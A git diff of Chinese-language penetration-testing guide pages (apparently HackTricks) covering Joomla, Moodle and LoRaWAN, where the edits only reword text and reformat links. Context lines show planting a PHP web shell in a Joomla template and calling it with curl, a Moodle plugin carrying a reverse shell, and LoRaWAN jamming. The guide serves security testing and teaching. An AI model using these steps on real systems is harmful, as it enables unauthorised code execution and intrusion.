+* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 ```
 ### 版本
@ -92,11 +92,11 @@ admin:admin
 ```
 ## RCE

-如果你成功获取了 **管理员凭据**，你可以通过向 **模板** 添加一段 **PHP 代码** 来实现 **RCE**。我们可以通过 **自定义** 一个 **模板** 来做到这一点。
+如果你成功获取了 **管理员凭据**，你可以通过添加一段 **PHP 代码** 来 **获得 RCE**。我们可以通过 **自定义** 一个 **模板** 来实现这一点。

 1. **点击** 左下角的 **`Templates`** 在 `Configuration` 下拉出模板菜单。
 2. **点击** 一个 **模板** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。
-3. 最后，你可以点击一个页面以拉出 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**，如下所示：
+3. 最后，你可以点击一个页面以拉取 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**，如下所示：
 1. **`system($_GET['cmd']);`**
 4. **保存并关闭**
 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
--- a/src/network-services-pentesting/pentesting-web/moodle.md
+++ b/src/network-services-pentesting/pentesting-web/moodle.md
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
 3.10.0-beta

 [+] Possible interesting urls found:
-Static readme file. - http://moodle.schooled.htb/moodle/README.txt
-Admin panel - http://moodle.schooled.htb/moodle/login/
+Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
+Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)

 [+] Scan finished (0:00:05.643539 elapsed)
 ```
@ -66,11 +66,11 @@ cmsmap http://moodle.example.com/<moodle_path>

 ## **RCE**

-你需要拥有**管理员**角色，并且你**可以在**“网站管理”**选项卡中安装插件**：
+你需要拥有**管理员**角色，并且你**可以在**“站点管理”**选项卡中安装插件**：

 ![](<../../images/image (630).png>)

-如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle权限提升的PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
+如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle特权提升PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。

 然后，你可以**安装以下插件**，该插件包含经典的pentest-monkey php r**ev shell**（_在上传之前，你需要解压缩它，修改revshell的IP和端口，然后再压缩它_）

@ -78,7 +78,7 @@ cmsmap http://moodle.example.com/<moodle_path>
 moodle-rce-plugin.zip
 {{#endfile}}

-或者你可以使用来自[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)的插件来获取带有“cmd”参数的常规PHP shell。
+或者你可以使用来自[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)的插件，以获取带有“cmd”参数的常规PHP shell。

 要访问启动恶意插件，你需要访问：
 ```bash
--- a/src/todo/radio-hacking/low-power-wide-area-network.md
+++ b/src/todo/radio-hacking/low-power-wide-area-network.md
@ -35,7 +35,7 @@
 ## 最近的漏洞 (2023-2025)

 * **CVE-2024-29862** – *ChirpStack gateway-bridge 和 mqtt-forwarder* 接受绕过有状态防火墙规则的 TCP 数据包，导致远程管理接口暴露。分别在 4.0.11 / 4.2.1 中修复。
-* **Dragino LG01/LG308 系列** – 多个 2022-2024 CVE（例如 2022-45227 目录遍历，2022-45228 CSRF）在 2025 年仍未修补；在数千个公共网关上启用未认证的固件转储或配置覆盖。
+* **Dragino LG01/LG308 系列** – 多个 2022-2024 CVE（例如 2022-45227 目录遍历，2022-45228 CSRF）在 2025 年仍未修补；在数千个公共网关上启用未经身份验证的固件转储或配置覆盖。
 * Semtech *数据包转发器 UDP* 溢出（未发布的建议，2023-10 修补）：构造的上行数据包大于 255 B 触发堆栈溢出 -> 在 SX130x 参考网关上 RCE（由 Black Hat EU 2023 “LoRa Exploitation Reloaded” 发现）。

 ---
@ -61,7 +61,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt

 强制 SF12/125 kHz 以增加空中时间 → 耗尽网关的占空比（拒绝服务），同时对攻击者的电池影响较小（仅发送网络级 MAC 命令）。

-### 4. 反应式干扰
+### 4. 反应性干扰

 运行 GNU Radio 流图的 *HackRF One* 在检测到前导码时触发宽带啁啾 - 阻塞所有扩频因子，发射功率 ≤200 mW；在 2 公里范围内测量到完全中断。

@ -90,6 +90,6 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt

 ## 参考文献

-* LoRaWAN 审计框架 (LAF) – https://github.com/IOActive/laf
-* Trend Micro LoRaPWN 概述 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
+* LoRaWAN 审计框架 (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
+* Trend Micro LoRaPWN 概述 – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
 {{#include ../../banners/hacktricks-training.md}}